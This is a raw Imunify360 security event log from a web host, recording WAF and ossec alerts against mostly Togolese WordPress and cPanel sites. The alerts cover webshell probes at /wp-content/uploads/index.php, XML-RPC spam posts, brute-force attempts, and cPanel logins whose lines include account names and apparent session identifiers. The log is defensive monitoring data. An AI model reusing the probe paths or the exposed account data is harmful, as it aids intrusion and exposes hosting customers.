103.108.92.89 - - [20/Jun/2026:12:55:27 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:12:55:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:12:58:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181464&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781960316 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:12:58:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923683&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781960318 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.11.166
country_id: 2363686
domain: civilemagazine.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.19||T:APACHE||MV:/wp-json/wp/v2/users/10?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:13:02:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9882002&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781960541 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.117.163.21
country_id: 1168579
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:318b49f0cbda96c010372d9793c0f8eb6c8bc43a||Title:pf7ft4wqb7srca||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.218.217.235
country_id: 6252001
description:
[2026-06-20 13:03:21 +0000] info [cpaneld] 13.218.217.235 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.117.163.18
country_id: 1168579
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:324e95cba45c4eb7c844ef404adaeb314be5be9b||Title:eb1wn42dal8rc9j||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:13:02:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10056133&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781960545 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:02:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868436&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781960554 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.117.163.21
country_id: 1168579
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:19a05cfb97ec0019da2175db7e400599c7764522||Title:sr8ofhehevtbcxz||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 5.193.238.172
country_id: 290557
description:
5.193.238.172 - - [20/Jun/2026:13:05:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908315&pdata=https%253A%252F%252Ftogodailynews.tg%252Fassemblee-nationale-les-deputes-examinent-le-projet-de-loi-de-finances-2021%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781960741 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/assemblee-nationale-les-deputes-examinent-le-projet-de-loi-de-finances-2021/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:5.193.238.172


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.97.183
country_id: 3865483
description:
Jun 20 13:06:36 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.97.183 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.75.252.15
country_id: 1733045
description:
180.75.252.15 - - [20/Jun/2026:13:06:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10382233&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fgrand-marche%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781960804 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/tag/grand-marche/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.75.252.15


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:10:47 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:10:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:13:14:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250080&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781961255 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:14:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274460&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781961255 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 198.13.46.245
country_id: 1861060
domain: sia-togo.tg
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.19||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.58.124
country_id: 2363686
description:
[2026-06-20 13:16:55 +0000] info [webmaild] 196.171.58.124 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:16:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6906734&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781961397 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.26
country_id: 2635167
description:
[2026-06-20 13:17:12 +0000] info [cpaneld] 5.230.153.26 NEW doufelg:8p4jJrVfkYLwSwfH address=5.230.153.26,app=cpaneld,creator=doufelg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:13:16:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985317&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781961393 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.70
country_id: 732800
description:
Jun 20 13:18:12 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.34.22.145
country_id: 1282988
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/togo-a-aklakou-4-individus-arretes-en-possession-dun-sac-plein-des-tetes-humaines-ames-sensibles-sabstenir/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.34.22.145
country_id: 1282988
domain: tdn.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tghttp/tdn.tg/togo-a-aklakou-4-individus-arretes-en-possession-dun-sac-plein-des-tetes-humaines-ames-sensibles-sabstenir/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.248
country_id: 3469034
description:
Jun 20 13:17:53 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.248 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 198.13.46.245
country_id: 1861060
domain: mail.confortis.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/conforwellty/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.7.130
country_id: 2395170
description:
Jun 20 13:18:38 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.7.130 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:67025.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:83bc5e73ada9d9f25e36cf3ffa45ca4fa6ab4f14||Title:0x5710f8c2||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.91.125.41
country_id: 3017382
description:
[2026-06-20 13:19:35 +0000] info [cpaneld] 144.91.125.41 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1063693d5aa9b2915c52ff4917ec0151b353f616||Title:0xb68d2503||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8696e23c3a1ab6072af20f09657fb15f14541bbe||Title:0x09f48301||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9a5dcd0d32d61105c60f8200c242f4805f6cc5a8||Title:0x52869e87||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:22f58922e1199370c1ac3722a93f087d8c97e7cf||Title:0x35d44bb5||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:25:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.159.75.50
country_id: 1814991
description:
27.159.75.50 - - [20/Jun/2026:13:26:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843290&pdata=http%253A%252F%252Fgatti.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781961958 HTTP/1.1" 302 0 gatti.free.netmaster.tg "http://gatti.free.netmaster.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.159.75.50


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.18
country_id: 1814991
description:
123.6.49.18 - - [20/Jun/2026:13:25:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868952&pdata=https%253A%252F%252Fhaplucia-togo.tg%252Fstatistiques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781961925 HTTP/2.0" 302 0 haplucia-togo.tg "https://haplucia-togo.tg/statistiques/" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.18


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:25:33 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e3811b4be3d1bc929de747d4a46f8f5060d51fbc||Title:0x36705ec4||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d69933e03aef7098b43bc28af745ae354f5a8041||Title:0x3ec45013||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ff63c4e33ed071aa7e3724bfedf50b2288e79434||Title:0x94774852||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b154c2b9ce360270f8dd83a44cac3db419509916||Title:0x6858a970||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:13:29:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791596&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781962165 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.52.211.184
country_id: 1694008
description:
Jun 20 13:28:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.52.211.184 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 198.13.37.241
country_id: 1861060
domain: gstock.soena.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/expirefreenetmas/public_html/wp-content||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:29:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197910&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781962168 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:13:30:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105125&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781962199 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b1f488df54dfecb09025fdf7a365ae844d3a6204||Title:0x01ab7f0a||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:13:30:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869165&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781962199 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.32.62.47
country_id: 1861060
domain: autodiscover.tps.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/wp-content/uploads/index.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.21.16
country_id: 2300660
description:
Jun 20 13:30:58 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.21.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7fb60234ea4224c408cd5ae72c9a7caf4f9ec250||Title:0xfb904fd8||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:002e5164a8ab8d1e2f7eeca1ab65c7deba29e982||Title:0x3d4b2421||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 146.19.44.154
country_id: 6252001
domain: www.arse.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:https://)D*c%T4K6XjC!JM.www.arse.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e7cd37ad9e06d7537ead1d116bf5d1b3cde8b329||Title:0x207741f4||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.112
country_id: 3017382
description:
[2026-06-20 13:33:11 +0000] info [cpaneld] 5.231.255.112 NEW hgfdcvbnk:Ej9D7TlG11vjoqG2 address=5.231.255.112,app=cpaneld,creator=hgfdcvbnk,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
